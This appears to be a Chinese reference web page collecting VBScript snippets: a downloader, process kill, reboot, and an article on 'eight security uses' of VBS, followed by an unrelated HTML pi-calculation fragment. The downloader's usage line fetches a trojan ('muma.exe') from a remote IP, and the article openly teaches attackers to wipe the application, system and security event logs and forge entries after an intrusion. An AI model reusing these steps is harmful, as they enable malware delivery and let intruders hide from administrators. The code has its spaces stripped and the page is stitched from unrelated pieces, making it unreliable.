综合百科

有哪些经典的vbs脚本

1.文件下载(无回显)
echoiLocal=LCase(WScript.Arguments(1))>iget.vbe
echoiRemote=LCase(WScript.Arguments(0))>>iget.vbe
echoSetxPost=createObject("Microsoft.XMLHTTP")>>iget.vbe
echoxPost.Open"GET",iRemote,0>>iget.vbe
echoxPost.Send()>>iget.vbe
echoSetsGet=createObject("ADODB.Stream")>>iget.vbe
echosGet.Mode=3>>iget.vbe
echosGet.Type=1>>iget.vbe
echosGet.Open()>>iget.vbe
echosGet.Write(xPost.responsebody)>>iget.vbe
echosGet.SaveToFileiLocal,2>>iget.vbe

用法:cscripthget.vbshttp://111.111.111.111/muma.exemuma.exe

2.列举进程
@echoforeachpsingetobject_>ps.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>ps.vbs
@echowscript.echops.handle^&vbtab^&ps.name^&vbtab^&ps.executablepath:next>>ps.vbs

用法:cscriptps.vbs

3.终止进程
@echoforeachpsingetobject_>pskill.vbs
@echo("winmgmts:\\.\root\cimv2:win32_process").instances_>>pskill.vbs
@echoifps.handle=wscript.arguments(0)thenwscript.echops.terminate:endif:next>>pskill.vbs

用法:cscriptpskill.vbspid

4.重启系统
@echoforeachosingetobject_>reboot.vbs
@echo("winmgmts:!\\.\root\cimv2:win32_operatingsystem").instances_>>reboot.vbs
@echoos.win32shutdown(2):next>>reboot.vbs

用法:cscriptreboot.vbs

vbs脚本在系统安全中的八则巧妙应用
VBS脚本病毒的大量流行使我们对VBS的功能有了一个全新的认识,现在大家对它也开始重视起来。VBS代码在本地是通过WindowsScriptHost(WSH)解释执行的。VBS脚本的执行离不开WSH,WSH是微软提供的一种基于32位Windows平台的、与语言无关的脚本解释机制,它使得脚本能够直接在Windows桌面或命令提示符下运行。利用WSH,用户能够操纵WSH对象、ActiveX对象、注册表和文件系统。在Windows2000下,还可用WSH来访问WindowsNT活动目录服务。

用VBS编写的脚本程序在窗口界面是由wscript.exe文件解释执行的,在字符界面由cscript.exe文件解释执行。wscript.exe是一个脚本语言解释器,正是它使得脚本可以被执行,就象执行批理一样。关于VBS大家一定比我熟悉多了,所以再不废话,直接进入主题,看看我总结的VBS在系统安全中的八则妙用吧。

一、给注册表编辑器解锁

用记事本编辑如下内容:

DIMWSH
SETWSH=WSCRIPT.CreateObject("WSCRIPT.SHELL")'击活WScript.Shell对象
WSH.POPUP("解锁注册表编辑器!")
'显示弹出信息“解锁注册表编辑器!”
WSH.Regwrite"HKCU\Software\Microsoft\Windows\CurrentVersion
\Policies\System\DisableRegistryTools",0,"REG_DWORD"
'给注册表编辑器解锁
WSH.POPUP("注册表解锁成功!")
'显示弹出信息“注册表解锁成功!”
保存为以.vbs为扩展名的文件,使用时双击即可。

二、关闭WinNT/2000的默认共享

用记事本编辑如下内容:

DimWSHShell'定义变量
setWSHShell=CreateObject("WScript.shell")'创建一个能与操作系统沟通的对象WSHShell
Dimfso,dc
Setfso=CreateObject("Scripting.FileSystemObject")'创建文件系统对象
setdc=fso.Drives'获取所有驱动器盘符
ForEachdindc
Dimstr
WSHShell.run("netshare"&d.driveletter&"$/delete")'关闭所有驱动器的隐藏共享
next
WSHShell.run("netshareadmin$/delete")
WSHShell.run("netshareipc$/delete")'关闭admin$和ipc$管道共享

现在来测试一下,先打开cmd.exe,输入netshare命令就可以看到自己机子上的共享。双击执行stopshare.vbs后,会看见窗口一闪而过。然后再在cmd里输入netshare命令,这时候没有发现共享列表了

三、显示本机IP地址

有许多时候,我们需要知道本机的IP地址,使用各种软件虽然可以办到,但用VBS脚本也非常的方便。用记事本编辑如下内容:

DimWS
SetWS=CreateObject("MSWinsock.Winsock")
IPAddress=WS.LocalIP
MsgBox"LocalIP="&IPAddress

将上面的内容保存为ShowIP.vbs,双击执行即可得到本机IP地址。

四、利用脚本编程删除日志

入侵系统成功后黑客做的第一件事便是清除日志,如果以图形界面远程控制对方机器或是从终端登陆进入,删除日志不是一件困难的事,由于日志虽然也是作为一种服务运行,但不同于http,ftp这样的服务,可以在命令行下先停止,再删除,在命令行下用netstopeventlog是不能停止的,所以有人认为在命令行下删除日志是很困难的,实际上不是这样,比方说利用脚本编程中的VMI就可以删除日志,而且非常的简单方便。源代码如下:

strComputer="."
SetobjWMIService=GetObject("winmgmts:"_
&"{impersonationLevel=impersonate,(Backup)}!\\"&_
strComputer&"\root\cimv2")
dimmylogs(3)
mylogs(1)="application"
mylogs(2)="system"
mylogs(3)="security"
forEachlogsinmylogs
SetcolLogFiles=objWMIService.ExecQuery_
("Select*fromWin32_NTEventLogFilewhereLogFileName='"&logs&"'")
ForEachobjLogfileincolLogFiles
objLogFile.ClearEventLog()
Next
next

将上面的代码保存为cleanevent.vbs文件即可。在上面的代码中,首先获得object对象,然后利用其clearEventLog()方法删除日志。建立一个数组,application,security,system,如果还有其他日志也可以加入数组。然后用一个for循环,删除数组中的每一个元素,即各个日志。

五、利用脚本伪造日志

删除日志后,任何一个有头脑的管理员面对空空的日志,马上就会反应过来被入侵了,所以一个聪明的黑客的学会如何伪造日志。利用脚本编程中的eventlog方法创造日志非常简单,请看下面的代码:

setws=wscript.createobject("Wscript.shell")
ws.logevent0,"writelogsuccess"'创建一个成功执行日志

将上面的代码保存为createlog.vbs即可。这段代码很容易理解,首先获得wscript的一个shell对象,然后利用shell对象的logevent方法。logevent的用法:logeventeventtype,"description"[,remotesystem],其中eventtype为日志类型,可以使用的参数如下:0代表成功执行,1执行出错,2警告,4信息,8成功审计,16故障审计。所以上面代码中,把0改为1,2,4,8,16均可,引号中的内容为日志描述。利用这种方法写的日志有一个缺点,即只能写到应用程序日志,而且日志来源只能为WSH,即WindowsScriptingHost,所以不能起太多的隐蔽作用,在此仅供大家参考。

六、禁用开始菜单选项

用记事本编辑如下内容:

DimChangeStartMenu
SetChangeStartMenu=WScript.CreateObject("WScript.Shell")
RegPath="HKCR\Software\Microsoft\Windows\CurrentVersion\Policies\"
Type_Name="REG_DWORD"
Key_Data=1

StartMenu_Run="NoRun"
StartMenu_Find="NoFind"
StartMenu_Close="NoClose"

SubChange(Argument)
ChangeStartMenu.RegWriteRegPath&Argument,Key_Data,Type_Name
MsgBox("Success!")
EndSub

CallChange(StartMenu_Run)'禁用“开始”菜单中的“运行”功能
CallChange(StartMenu_Find)'禁用“开始”菜单中的“查找”功能
CallChange(StartMenu_Close)'禁用“开始”菜单中的“关闭系统”功能

将以上代码保存为ChangeStartMenu.vbs文件,使用时双击即可。

七、执行外部程序

用记事本编辑如下内容:

DIMobjShell
setobjShell=wscript.createObject("wscript.shell")
iReturn=objShell.Run("cmd.exe/Csetvar=world",1,TRUE)

保存为.vbs文件即可。在这段代码中,我们首先设置了一个环境变量,其名为var,而值为world,用户可以使用%Comspec%来代替cmd.exe,并且可以把命令:setvar=world改成其它的命令,这样就可以使它可以运行任意的命令。

八、重新启动指定的IIS服务

用记事本编辑如下内容:

ConstADS_SERVICE_STOPPED=1
SetobjComputer=GetObject("WinNT://MYCOMPUTER,computer")
SetobjService=objComputer.GetObject("Service","MYSERVICE")
If(objService.Status=ADS_SERVICE_STOPPED)Then
objService.Start
EndIf

将它以startsvc.vbs为名保存在C盘根目录。并通过如下命令执行:cscriptc:\startsvc.vbs。运行后,经你指定的IIS服务项将被重新开启。

最后,我们再说说开篇时提到的VBS脚本病毒的防范方法。VBS病毒的执行离不开WSH,在带给人们便利的同时,WSH也为病毒的传播留下可乘之机。所以要想防范VBS病毒,可以选择将WSH卸载,只要打开控制面板,找到“添加/删除程序”,点选“Windows安装程序”,再鼠标双击其中的“附件”一项,然后再在打开的窗口中将“WindowsScriptingHost”一项的“√”去掉,然后连续点两次“确定”就可以将WSH卸载。或者,你也可以点击“我的电脑”→“查看”→“文件夹选项”,在弹出的对话框中,点击“文件类型”,然后删除VBS、VBE、JS、JSE文件后缀名与应用程序的映射,都可以达到防范VBS脚本病毒的目的。

当最后一项的绝对值小于0.000001时停止计算。

编写如下VBScript程序代码:

<HTML>

<HEAD><TITLE>计算圆周率π</TITLE></HEAD>

<BODY><H3>计算圆周率π</H3><HR>

<INPUTTYPE="Button"NAME="Button1"VALUE="计算">

<SCRIPTFOR="Button1"EVENT="onClick"LANGUAGE="VBScript">

k=1:s=1:t=1:m=1


图3-12计算圆周率
WhileAbs(t)>0.0000001

k=k+2

m=-m

t=m/k

s=s+t

Wend

MsgBox"圆周率π="&4*s

</SCRIPT>

</BODY>

</HTML>

执行VBScript程序
注意:程序运行时间可能很长。